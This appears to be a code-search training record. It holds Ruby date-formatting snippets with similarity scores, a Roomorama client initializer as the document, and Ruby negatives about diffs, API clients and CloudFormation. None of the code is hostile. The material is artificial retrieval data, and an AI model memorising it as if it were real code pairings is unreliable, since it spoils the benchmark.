"def get_date(date)\n\t\tif date != nil\n\t\t\ttemp = Date.parse date.to_s\n\t\t\treturn temp.strftime(\"%a, %b %d %Y\")\n\t\telse\n\t\t\treturn \"Not specifed\"\n\t\tend\n\tend",
"def to_s\n \"#{@month}/#{@day}/#{@year}\"\n end",
"def getDateString(d)\n return d.strftime('%Y-%-m-%-d')\nend",
"def date_to_string(date, type = T.unsafe(nil), style = T.unsafe(nil)); end",
"def date\n \"#{self[:day]}_#{self[:month]}_#{self[:year]}\"\n end",
"def to_s\n report_date.strftime(\"%B %Y\")\n end",
"def eBY_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%e %B %Y\")\n end\n result\n end",
"def to_date string\n \n end",
"def geek_date(date)\n date.strftime(\"%Y-%m-%d\") \n end",
"def to_s\n # TODO this breaks the minus spec: strftime\n format \"#{year}-%02d-%02d\", month, day\n end",
"def easy_date; date; end",
"def strf_date(date_time)\n begin\n date_time.strftime('%Y-%m-%d')\n rescue\n date_time\n end\n end",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def get_app_date()\n date_object = Date.strptime(@app_date, '%Y-%m-%d')\n format = date_object.strftime('%d/%m/%Y')\n return format.to_s\n end",
"def end_date_as_string\n as_string @end_date\n end",
"def formatted_date(date)\n DateTime.parse(date).strftime('%-m/%-d/%y')\n rescue\n ''\n end",
"def date_str(date)\n date.to_time.strftime('%a, %-d %b %Y %H:%M:%S %Z')\nend",
"def human_readable_date\n d = self.date\n d.strftime(\"%B %d, %Y\")\n end",
"def format_date (date)\n\t\treturn date.strftime(\"%d/%m/%Y\")\n\tend",
"def to_s\n find.to_s.strftime(Day::DATE_FORMAT)\n end",
"def date_formatted\n date.strftime(\"%A %B %d, %Y\")\n end",
"def now_date_s\n Date.today.to_s\n end",
"def date_str\n Util::Date.token_bill_date(created_at)\n end",
"def date\n object.date.strftime('%a %b %e') rescue nil\n end",
"def format_date(date)\n date.strftime '%Y-%m-%d'\n end",
"def get_date(date)\n date == Date.today ? \"Today\" : date.strftime(\"%A, %B %e %Y\")\n end",
"def date\n dreport.date_format\n end",
"def get_create_date\n String str = String.new\n unless self.created_at.blank?\n str << date_ordinal_format(self.created_at)\n end\n end",
"def format_date(date)\n date.strftime(\"%Y-%m-%d\")\n end",
"def short_date( date )\n date.strftime( '%b %d, %Y')\n end",
"def to_s\n @date_time\n end",
"def to_s\n mday.to_s\n end",
"def get_date()\n strip = self;\n return strip.created_at.strftime( \"%d%m%y\" );\n end",
"def to_s\n title_with_date\n end",
"def format_date(date)\n date.strftime '%d-%m-%Y'\n end",
"def time_to_str(dt)\r\n ret = nil\r\n if dt.nil?\r\n ret = \"\"\r\n else\r\n ret = dt.iso8601\r\n ret[10..-1] = \"Z\" if self.allday # yyyy-mm-ddZ\r\n end\r\n ret\r\n end",
"def to_string(t)\n t.respond_to?(:getutc) ? t.getutc.strftime(DATE_FORMAT) : t.strftime(DATE_FORMAT)\n end",
"def behandlungsdatum_str\n\t\t@behandlungsdatum_str || fmt_date( self.behandlungsdatum )\n\tend",
"def www_date(date)\r\n if date.nil?\r\n Time.now.strftime('%d/%m/%Y')\r\n else\r\n date.strftime('%d/%m/%Y')\r\n end\r\n end",
"def as_readable_date\n strftime \"%b %e, %Y\"\n end",
"def format_date_to_s(val)\n Date.parse(val.to_s).strftime('%m/%d/%Y')\n end",
"def to_s\n CarbonDate::Date.formatter.date_to_string(self)\n end",
"def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend",
"def readable_date\n date.strftime(\"%B %d, %Y\")\n end",
"def date_view value, meta=nil\n return value.strftime \"%Y-%m-%d\" unless value.nil?\n ''\n end",
"def get_date\n\t\t@date = Date.today.to_s\n\tend",
"def to_s\n [@year,@month,@day].join(\"/\")\n end",
"def nytimes_date(date, opts={})\n str = \"\"\n str << date.strftime('%A, ') if opts[:day_of_week]\n str << nytimes_month_and_day(date)\n str << \", #{date.year}\" unless opts[:hide_current_year] && date.year == Date.today.year\n return str\n end",
"def get_date()\n @date\n end",
"def get_date()\n @date\n end",
"def date \n \"date\" \n end",
"def stringify_date(date, month_type, type = nil, style = nil)\n return date if date.to_s.empty?\n\n time = time(date)\n if type == \"ordinal\"\n day = time.day\n ordinal_day = \"#{day}#{ordinal(day)}\"\n return time.strftime(\"#{month_type} #{ordinal_day}, %Y\") if style == \"US\"\n\n return time.strftime(\"#{ordinal_day} #{month_type} %Y\")\n end\n time.strftime(\"%d #{month_type} %Y\")\n end",
"def as_date\n strftime \"%Y-%m-%d\"\n end",
"def date\n object.date.strftime(\"%m/%d/%Y\")\n end",
"def datum\nt = Time.now\ndate = t.strftime(\"%y%m%d\")\nend",
"def to_s\n s = (to_s_pieces(DATE_FIELDS) + [to_s_time_piece]).compact.join(' ')\n if s == \"\"\n \"0 days\"\n else\n s\n end + (ago ? \" ago\" : \"\")\n end",
"def httpdate\n return \"#{self.day_name[0, 3]}, #{@t_day} #{self.month_name[0, 3]} #{@t_year} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} GMT\"\n end",
"def event_date(date)\n DateTime.parse(date).to_date.to_s\n end",
"def dby_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%d %b %Y %H:%M\")\n end\n result\n end",
"def formatted_date\n \"#{self.day.date.strftime(\"%A, %B %e, %Y\")}\"\n end",
"def fmt_date(date)\n if (date)\n date.strftime(\"%m-%d-%Y\")\n end\n end",
"def shortDate(obj)\n obj.strftime(\"%m/%d/%Y\")\n end",
"def formatted_date(date = nil)\n return '' unless date\n date.last_modified_date.strftime(\"%m/%d/%y\")\n end",
"def date_string\n times = []\n showtimes.all.each do |time|\n times << time.date_time\n end\n times = times.sort\n first_date = times.first.to_date.strftime('%m/%d')\n last_date = times.last.to_date.strftime('%m/%d')\n output = first_date\n if last_date != first_date\n output += \" - \" + last_date\n end\n return output\n end",
"def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end",
"def date(object)\n object.strftime(\"%b %d, %Y\")\n end",
"def format_date date\n date.strftime('%m/%d/%y')\n end",
"def js_date(date)\n return \"\" unless date\n [date.year,(date.month) - 1,date.day].compact.join(',')\n end",
"def due_date_string\n ::Util.date_to_string(self.due_date)\n end",
"def due_date_string\n ::Util.date_to_string(self.due_date)\n end",
"def quoted_date(value)\n super.to_s\n end",
"def zt_date date\n if date.year == Time.now.year\n l date, format: :short\n else\n l date, format: :long\n end\n end",
"def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end",
"def getEventDateString(event)\n if event.getDate == DateTime.now.to_date\n return \"Today\"\n else\n return event.getDate.strftime(\"%b %Y\")\n end\n end",
"def date_now\n y = DateTime.now.year.to_s\n m = DateTime.now.month < 10 ? \"0#{DateTime.now.month}\" : DateTime.now.month.to_s \n d = DateTime.now.day < 10 ? \"0#{DateTime.now.day}\" : DateTime.now.day.to_s \n return \"#{y}#{m}#{d}\"\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def to_s\n \"#{start_date_as_string}-#{end_date_as_string}\"\n end",
"def DateFormat(date)\n @newDate = date[:month] + \"/\" + date[:day] + \"/\" + date[:year]\n return @newDate\n end",
"def formatted_date(date)\n date.present? ? date.strftime(\"%A, %B %d, %Y\") : \"\"\n end",
"def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end",
"def date_format(date)\n\t if date\n\t date.strftime(\"%d/%m/%Y\")\n\t end\n\tend",
"def format_date(date)\n date.strftime(\"%d %B %Y\")\n end",
"def format_date( date = Date.today )\n date.strftime('%a %d/%m/%Y')\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end"
] |
[
"0.85151935",
"0.8181006",
"0.816546",
"0.8143443",
"0.8009265",
"0.79164374",
"0.78638256",
"0.78512883",
"0.7782049",
"0.77426165",
"0.77128625",
"0.7711172",
"0.7706592",
"0.7663945",
"0.7613667",
"0.7598566",
"0.7598339",
"0.7567169",
"0.7527767",
"0.75260013",
"0.74955475",
"0.7392551",
"0.7378691",
"0.7369887",
"0.7335384",
"0.7324485",
"0.7307301",
"0.7289571",
"0.7199543",
"0.7199148",
"0.71844",
"0.71811295",
"0.7178615",
"0.71464366",
"0.7142882",
"0.71374655",
"0.713565",
"0.71342367",
"0.7114374",
"0.7104487",
"0.7099005",
"0.709488",
"0.708365",
"0.70817983",
"0.7076179",
"0.7069116",
"0.7055787",
"0.7051217",
"0.7033753",
"0.70321614",
"0.70237696",
"0.70199853",
"0.70118296",
"0.7009771",
"0.6999702",
"0.6994905",
"0.69815344",
"0.69813204",
"0.6974926",
"0.6973604",
"0.6958361",
"0.6956818",
"0.69545215",
"0.6949426",
"0.6949426",
"0.69488096",
"0.69408417",
"0.6933964",
"0.6916978",
"0.69050604",
"0.69013864",
"0.6891716",
"0.6890177",
"0.68705696",
"0.6869116",
"0.68628967",
"0.6855147",
"0.68490297",
"0.6842385",
"0.6841695",
"0.683906",
"0.683196",
"0.683063",
"0.6827759",
"0.6827759",
"0.6813332",
"0.6805663",
"0.68056285",
"0.6804861",
"0.67885095",
"0.67735845",
"0.67735845",
"0.67667466",
"0.67620504",
"0.6745212",
"0.6744522",
"0.67437375",
"0.6742074",
"0.67383546",
"0.6730049",
"0.6730049"
] |
0.0
|
-1
|
operation a +Roomorama::Client::Operations::Diff+ instance client a +Roomorama::Client+ instance properly configured
|
def initialize(operation, client)
@operation = operation
@roomorama_client = client
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def diff\n @diff ||= instance.client.createDiffHTML(padID: pad.id, startRev: start_rev, endRev: end_rev)\n end",
"def differ\n @differ ||= Differ.new(externals)\n end",
"def diff(from, to=nil)\n scm :diff, repository, authentication, \"-r#{from}:#{to || head}\"\n end",
"def call\n return if remote.keys.all? { |k| no_diff?(k) }\n {\n remote_reference: remote_reference,\n diff: build_diff\n }\n end",
"def diff\n \trespond_in_format Marginalia.diff(params[:id])\n end",
"def set_diff\n @diff = Diff.find(params[:id])\n end",
"def updateClients diff\n req = diff.to_request @id\n @workingUsers.each do |user|\n user.updateClients req\n end\n end",
"def show\n respond_with(create_presenter(:diff, GetDiff.new(params)))\n end",
"def sync_difference(name, diffs)\n aws = Hash[aws_resources.map { |aws| [aws.name, aws] }]\n if diffs.size > 0\n StatusCodes::set_status(StatusCodes::SYNC_DIFFS)\n\n if diffs[0].type == Common::DiffChange::UNMANAGED\n puts diffs[0]\n elsif diffs[0].type == Common::DiffChange::ADD\n puts Colors.added(\"creating #{name}...\")\n resource = create(diffs[0])\n update(resource, diffs)\n else\n puts Colors.blue(\"updating #{name}...\")\n resource = aws[name]\n update(resource, diffs)\n end\n end\n end",
"def set_diff\n @diff = Diff.find(params[:id])\n end",
"def diff(actor, from=nil, to=nil)\n from ||= current_revision(actor)\n to ||= \"HEAD\"\n `#{svn} diff #{authorization} #{rep_path}@#{from} #{path}@#{to}`\n end",
"def diff(from, to=nil)\n scm :diff, repository, authentication, \"-r#{from}:#{to || head}\"\n end",
"def update!(**args)\n @client_operation_id = args[:client_operation_id] if args.key?(:client_operation_id)\n @creation_timestamp = args[:creation_timestamp] if args.key?(:creation_timestamp)\n @description = args[:description] if args.key?(:description)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error = args[:error] if args.key?(:error)\n @http_error_message = args[:http_error_message] if args.key?(:http_error_message)\n @http_error_status_code = args[:http_error_status_code] if args.key?(:http_error_status_code)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @operation_type = args[:operation_type] if args.key?(:operation_type)\n @progress = args[:progress] if args.key?(:progress)\n @region = args[:region] if args.key?(:region)\n @self_link = args[:self_link] if args.key?(:self_link)\n @start_time = args[:start_time] if args.key?(:start_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @target_id = args[:target_id] if args.key?(:target_id)\n @target_link = args[:target_link] if args.key?(:target_link)\n @user = args[:user] if args.key?(:user)\n @warnings = args[:warnings] if args.key?(:warnings)\n @zone = args[:zone] if args.key?(:zone)\n end",
"def update!(**args)\n @client_operation_id = args[:client_operation_id] if args.key?(:client_operation_id)\n @creation_timestamp = args[:creation_timestamp] if args.key?(:creation_timestamp)\n @description = args[:description] if args.key?(:description)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error = args[:error] if args.key?(:error)\n @http_error_message = args[:http_error_message] if args.key?(:http_error_message)\n @http_error_status_code = args[:http_error_status_code] if args.key?(:http_error_status_code)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @operation_type = args[:operation_type] if args.key?(:operation_type)\n @progress = args[:progress] if args.key?(:progress)\n @region = args[:region] if args.key?(:region)\n @self_link = args[:self_link] if args.key?(:self_link)\n @start_time = args[:start_time] if args.key?(:start_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @target_id = args[:target_id] if args.key?(:target_id)\n @target_link = args[:target_link] if args.key?(:target_link)\n @user = args[:user] if args.key?(:user)\n @warnings = args[:warnings] if args.key?(:warnings)\n @zone = args[:zone] if args.key?(:zone)\n end",
"def get_content_diff(subset = :all, version = nil)\n if Dor::Config.stacks.local_workspace_root.nil?\n raise Dor::ParameterError, 'Missing Dor::Config.stacks.local_workspace_root' \n end\n unless %w{all shelve preserve publish}.include?(subset.to_s)\n raise Dor::ParameterError, \"Invalid subset value: #{subset}\"\n end\n\n basename = version.nil? ? \"#{DIFF_FILENAME}.#{subset}.xml\" : \"#{DIFF_FILENAME}.#{subset}.#{version}.xml\"\n druid = DruidTools::Druid.new(self.pid, Dor::Config.stacks.local_workspace_root)\n diff_cache = File.join(druid.temp_dir, basename)\n # check for cached copy before contacting SDR\n if File.exists? diff_cache\n File.read(diff_cache)\n else\n # fetch content metadata inventory difference from SDR\n if Dor::Config.sdr.rest_client.nil?\n raise Dor::ParameterError, 'Missing Dor::Config.sdr.rest_client'\n end\n sdr_client = Dor::Config.sdr.rest_client\n current_content = self.datastreams['contentMetadata'].content\n if current_content.nil?\n raise Dor::Exception, \"Missing contentMetadata datastream\"\n end\n query_string = { :subset => subset.to_s }\n query_string[:version] = version.to_s unless version.nil?\n query_string = URI.encode_www_form(query_string)\n sdr_query = \"objects/#{self.pid}/#{DIFF_QUERY}?#{query_string}\"\n response = sdr_client[sdr_query].post(current_content, :content_type => 'application/xml')\n # cache response\n File.open(diff_cache, 'w') { |f| f << response }\n response\n end\n end",
"def diff( *files, **options )\n\t\treturn self.server.run( :diff, *files, **options )\n\tend",
"def show\n if @client_change.type == 'template'\n new_section = DocumentTemplateSection.unscoped.find(@client_change.new_section_id)\n attrs = {\n :template => new_section.document_template.file,\n :section_id => new_section.name,\n :section_name => new_section.name.underscore.humanize.titleize,\n :reverted => @client_change.new_section.nil?\n }\n render json: get_json(@client_change, attrs)\n return\n end\n\n prev_changes = ClientChange.where({\n 'client_id' => @client_change.client_id,\n 'new_section_id' => nil,\n :id.lt => @client_change.id\n }).desc(:id)\n\n prev_change = prev_changes.first\n\n next_change = ClientChange.where({\n 'client_id' => @client_change.client_id,\n 'new_section_id' => nil,\n :id.gt => @client_change.id\n }).asc(:id).first\n\n cur_data = @client_change.client_data\n prev_data = prev_change.andand.client_data\n\n if params.has_key? :location_id\n cur_data = cur_data.andand['locations'].andand['value'].andand[params[:location_id].to_i]\n prev_data = prev_data.andand['locations'].andand['value'].andand[params[:location_id].to_i]\n end\n\n field_list = Client::FIELDS\n if params.has_key? :location_id\n field_list = field_list.find { |f| f[:id] == 'locations' }[:type]\n end\n\n changed_fields = ClientChange.get_changed_fields(cur_data, prev_data, field_list)\n\n changed_sections = Hash[changed_fields.keys.map { |field_id, val|\n section = 'basicInfo'\n field_list.each do |field|\n if field[:id] == field_id\n section = field_id\n elsif !field[:id].ends_with?('s') && field[:type].is_a?(Array)\n field[:type].each do |subfield|\n if subfield[:id] == field_id\n section = field[:id]\n end\n end\n end\n end\n [section, true]\n }]\n\n attrs = {\n :changed_fields => changed_fields,\n :changed_sections => changed_sections,\n :prev_change_id => prev_change.andand.id.to_s,\n :next_change_id => next_change.andand.id.to_s,\n :cur_change_num => prev_changes.length + 1,\n :change_count => ClientChange.where('client_id' => @client_change.client_id, 'new_section_id' => nil).length,\n }\n\n respond_to do |format|\n format.json { render json: get_json(@client_change, attrs) }\n end\n end",
"def initialize(host, operation, client)\n @host = host\n @operation = operation\n @roomorama_client = client\n end",
"def initialize(host, operation, client)\n @host = host\n @operation = operation\n @roomorama_client = client\n end",
"def content_diff\n if params[:version] && !params[:version].match?(/^[1-9]\\d*$/)\n render(plain: \"400 Bad Request: version parameter must be positive integer\", status: :bad_request)\n return\n end\n obj_version = params[:version].to_i if params[:version]&.match?(/^[1-9]\\d*$/)\n subset = params[:subset] ||= 'all'\n render(xml: MoabStorageService.content_diff(druid, params[:content_metadata], subset, obj_version).to_xml)\n rescue ArgumentError => e\n render(plain: \"400 Bad Request: #{e}\", status: :bad_request)\n rescue Moab::MoabRuntimeError => e\n render(plain: \"500 Unable to get content diff: #{e}\", status: :internal_server_error)\n Honeybadger.notify(e)\n end",
"def diff(from, to)\n @repo.diff(from, to).path(path)\n end",
"def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getToolsAddressdiff( first_entity_id, second_entity_id)\n params = Hash.new\n params['first_entity_id'] = first_entity_id\n params['second_entity_id'] = second_entity_id\n return doCurl(\"get\",\"/tools/addressdiff\",params)\n end",
"def diff=(o); end",
"def diff(from, to)\n @repository.diff(from, to, path)\n end",
"def update\n authorize! :update, Client\n load_client\n build_client\n save_client or render :edit\n end",
"def persistable_diff(a, b)\n diff = Diff::LCS.diff a, b\n reify_diff_element(diff).as_json\n end",
"def diff(v1, v2)\n repos.git.diff(v1, v2, path)\n end",
"def diff_to_compare; end",
"def diff(other, options={})\n Differences::Entry.compute(self, other, diff_criteria(options), options)\n end",
"def test_nonstandard_lro_all_subclients_noncopy\n presenter = method_presenter :testing, \"AllSubclientsConsumer\", \"NonCopyAnotherLroRpc\"\n assert presenter.nonstandard_lro?\n assert_equal \"::Testing::NonstandardLroGrpc::AnotherLroProvider::Client\",\n presenter.nonstandard_lro_client.client_class_name\n assert_equal 0, presenter.lro.operation_request_fields.count\n end",
"def test_diff\n \tassert_equal(UI.parseCommand('diff', DiffCmd1*\" \"),UI.main(DiffCmd1))\n \tassert_equal(UI.parseCommand('diff', DiffCmdInv*\" \"),UI.main(DiffCmdInv))\n end",
"def client\n @client = Recereco::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def client\n @client = Wayback::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def diff1; end",
"def docu_vieware_get_version_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocuViewareApi.docu_vieware_get_version ...'\n end\n # resource path\n local_var_path = '/api/docuvieware/DocuViewareGetVersion'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'StringResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocuViewareApi#docu_vieware_get_version\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def diff2; end",
"def update!(**args)\n @client_op_property = args[:client_op_property] if args.key?(:client_op_property)\n end",
"def update!(**args)\n @client_op_property = args[:client_op_property] if args.key?(:client_op_property)\n end",
"def custom name, options = {}\n Diffbot::APIClient::Custom.new self, name, options\n end",
"def getPullRequestDiff(id)\n response = getUrl(@url_pullrequests + \"/\" + id.to_s + \"/diff\")\n puts response if @options[\"verbose\"]\n return response\n end",
"def setup_for_etc_test_by_diff_client\n client1 = clients(:Triad)\n facility1 = Facility.create!(:name => \"Test facility1\",:sitecode => 8234,:client => client1)\n\t\t@batch_for_triad_client = Batch.create!(:batchid => 31120601,\n :facility => facility1,\n :date => Date.today.strftime(\"%m/%d/%Y\"),\n :arrival_time => \"#{Time.now}\",\n :target_time => \"#{Time.now.tomorrow - 64.minutes}\",\n :status => \"New\",\n :manual_override\t=> false)\n\n\t\tclient2 = clients(:Apria)\n facility2 = Facility.create(:name => \"Test facility2\",:sitecode => 8294,:client => client2)\n\t\t@batch_for_other_client = Batch.create!(:batchid => 31120602,\n :facility => facility2,\n :date => Date.today.strftime(\"%m/%d/%Y\"),\n :arrival_time => \"#{Time.now}\",\n :target_time => \"#{Time.now.tomorrow - 64.minutes}\",\n :status => \"New\",\n :manual_override\t=> false)\n\n\t\t@processor1 = User.create!(:name => 'pro', :userid => 'pro_one', :password => 'pro', :role => 'Processor',\n :processing_rate_triad => 20, :processing_rate_others => 30)\n\t\t@processor2 = User.create!(:name => 'anu', :userid => 'anu_one', :password => 'anu', :role => 'Processor',\n :processing_rate_triad => 10, :processing_rate_others => 20)\n\t\t@qa = User.create!(:name => 'anu2', :userid => 'anu2_one', :password => 'anu2', :role => 'QA')\n\n end",
"def diff_cmd(file, version)\n fail \"The #{self.class} driver does not support the diff_cmd method!\"\n end",
"def edit_client\n\t\t@client = Client.find(params[:id])\n\tend",
"def initialize client, instance_ref, instance_data = nil\n super\n end",
"def difference\n end",
"def snapshot_diff(left:, right:)\n r = aptly_request('GET', \"api/snapshots/#{left}/diff/#{right}\")\n r.body\n end",
"def check_update_forclient(nomeprog, ver_prog)\n @log.debug(\"Controller: check_update_forclient\")\n net_prot_ver = [SUPP_SERV_VER_MAJ, SUPP_SERV_VER_MIN ]\n info_client = [nomeprog, ver_prog, net_prot_ver ]\n msg_details = YAML.dump(info_client)\n @log.debug \"update_req: #{info_client}\"\n cmd_to_send = build_cmd(:update_req, msg_details)\n send_data_to_server(cmd_to_send)\n @cup_gui.log_sometext(\"UPDATE: controlla se esiste una nuova versione\\n\")\n end",
"def evaluateDiffResult()\n\n end",
"def edit\n @clients = current_client\n end",
"def client\n puts \"creating client\"\n @client ||= Vineyard::Client.new(options) #unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def set_product_diff\r\n @product_diff = ProductDiff.find(params[:id])\r\n end",
"def diff url\n parse_response HTTParty.get \"#{url}.diff\"\n end",
"def create\n @diff = Diff.new(diff_params)\n\n respond_to do |format|\n if @diff.save\n format.html { redirect_to @diff, notice: 'Diff was successfully created.' }\n format.json { render :show, status: :created, location: @diff }\n else\n format.html { render :new }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diff = Diff.new(diff_params)\n\n respond_to do |format|\n if @diff.save\n format.html { redirect_to @diff, notice: 'Diff was successfully created.' }\n format.json { render :show, status: :created, location: @diff }\n else\n format.html { render :new }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def diff_replication(local, aws)\n diffs = []\n\n if local and aws\n diffs << local.diff(aws)\n elsif local\n diffs << ReplicationDiff.added(local)\n elsif aws\n diffs << ReplicationDiff.unmanaged(local)\n end\n\n diffs.flatten\n end",
"def update_client\n\t\t@client = Client.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @client.update_attributes(client_update_params)\n\t\t format.html { redirect_to(@client, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@client) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@client) }\n\t\t end\n\n \t end\n\tend",
"def cmd_diff\n print_tree(DiffEditor, nil, true)\n end",
"def operations\n @client.operations\n end",
"def register_diff(results, path, diff, translator, templates)\n diff_info = diff_init(diff, path)\n if path.start_with?(\"Resources\")\n p_path = path.split(\".\")\n if p_path.size == 2\n diff = diff.first\n key = diff.first == \"+\" ? :added : :removed\n type = (key == :added ? templates[:update] : templates[:origin]).get(\"Resources\", p_path.last, \"Type\")\n results[key][p_path.last] = Smash.new(\n :name => p_path.last,\n :type => type,\n :properties => [],\n :diffs => [\n diff_info,\n ],\n )\n else\n if p_path.include?(\"Properties\")\n resource_name = p_path[1]\n if p_path.size < 4 && p_path.last == \"Properties\"\n property_name = diff.flatten.compact.last.keys.first\n else\n property_name = p_path[3].to_s.sub(/\\[\\d+\\]$/, \"\")\n end\n type = templates.get(:origin, \"Resources\", resource_name, \"Type\")\n resource = Smash.new(\n :name => resource_name,\n :type => type,\n :properties => [property_name],\n :diffs => [\n diff_info.merge(:property_name => property_name),\n ],\n )\n begin\n if templates.get(:update, \"Resources\", resource_name, \"Properties\", property_name) == Translator::UNKNOWN_RUNTIME_RESULT\n effect = :unknown\n else\n r_info = SparkleFormation::Resources::Aws.resource_lookup(type)\n r_property = r_info.property(property_name)\n if r_property\n effect = r_property.update_causes(\n templates.get(:update, \"Resources\", resource_name),\n templates.get(:origin, \"Resources\", resource_name)\n )\n else\n raise KeyError.new \"Unknown property\"\n end\n end\n case effect.to_sym\n when :replacement\n set_resource(:replace, results, resource_name, resource)\n when :interrupt\n set_resource(:interrupt, results, resource_name, resource)\n when :unavailable\n set_resource(:unavailable, results, resource_name, resource)\n when :none\n # \\o/\n else\n set_resource(:unknown, results, resource_name, resource)\n end\n rescue KeyError\n set_resource(:unknown, results, resource_name, resource)\n end\n elsif p_path.include?(\"AWS::CloudFormation::Init\")\n resource_name = p_path[1]\n type = templates[:origin][\"Resources\"][resource_name][\"Type\"]\n if REPLACE_ON_CFN_INIT_UPDATE.include?(type)\n set_resource(:replace, results, resource_name,\n Smash.new(\n :name => resource_name,\n :type => type,\n :properties => [\"AWS::CloudFormation::Init\"],\n :diffs => [\n diff_info,\n ],\n ))\n end\n end\n end\n elsif path.start_with?(\"Outputs\")\n o_resource_name = path.split(\".\")[1]\n if o_resource_name\n set_resource(\n :outputs, results, o_resource_name,\n :properties => [],\n :diffs => [\n diff_info,\n ],\n )\n end\n end\n end",
"def local_diff\n `cd #{@local_path} && git diff HEAD`\n end",
"def update!(**args)\n @client_op_name = args[:client_op_name] if args.key?(:client_op_name)\n @client_op_properties = args[:client_op_properties] if args.key?(:client_op_properties)\n @supported_execution = args[:supported_execution] if args.key?(:supported_execution)\n @version = args[:version] if args.key?(:version)\n end",
"def docu_vieware_get_control_with_http_info(docu_vieware_get_control_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocuViewareApi.docu_vieware_get_control ...'\n end\n # verify the required parameter 'docu_vieware_get_control_parameters' is set\n if @api_client.config.client_side_validation && docu_vieware_get_control_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'docu_vieware_get_control_parameters' when calling DocuViewareApi.docu_vieware_get_control\"\n end\n # resource path\n local_var_path = '/api/docuvieware/DocuViewareGetControl'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(docu_vieware_get_control_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'DocuViewareGetControlResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocuViewareApi#docu_vieware_get_control\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
